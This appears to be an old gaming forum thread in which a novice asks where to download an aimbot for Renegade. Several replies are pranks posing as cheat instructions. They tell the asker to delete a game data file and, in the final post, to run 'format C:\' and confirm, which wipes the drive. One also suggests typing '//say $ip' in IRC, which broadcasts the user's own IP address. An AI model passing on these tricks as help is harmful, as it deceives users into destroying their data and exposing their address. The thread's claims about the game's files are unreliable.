Silly n00b, RENEGADE isn't for aimbotters.

Go play halflife, or learn to shoot.

lazyboywhere I can download the aimbot ???

It's not a download. All you have to do is go to c:\westwood\renegade\data
and delete the Always.dat
This sets the parameters for your weapons. Then in the game hit F8 and type autoaim. That sets
the auto lock for your weapons.

K9, why did you have to let this out? I was beginning to think they would never figure that out.
Soon the internet games will all be plagued with cheaters because of this.

Actually, all you would have to do is grab always.dat from someone else or the boot disk if you
deleted it.
But going in MS-DOS and typing format or in IRC and typing //say $ip normally works for me, I do
it everytime before I play Ren, aimbots>you.

Are you stupid? The always.dat is the security file that westwood included with Renegade. It's the thing that stops aim bots, score enhancers, and hacking off WOL. Deleting it will give you so many awesome hacks.

Ok u n00b. U can stop pretending u want an aimbot just for single player. We all no u want to use it online. Plus if u play campiagn and u pick easy and u read the detials of the easy difficulty setting it clearly says auto aim. cheating online is bad mmkay

Click run under your start menu, then type command. From there you will need to type format C:\, when it asks are you sure? Type y, and then you good to go!
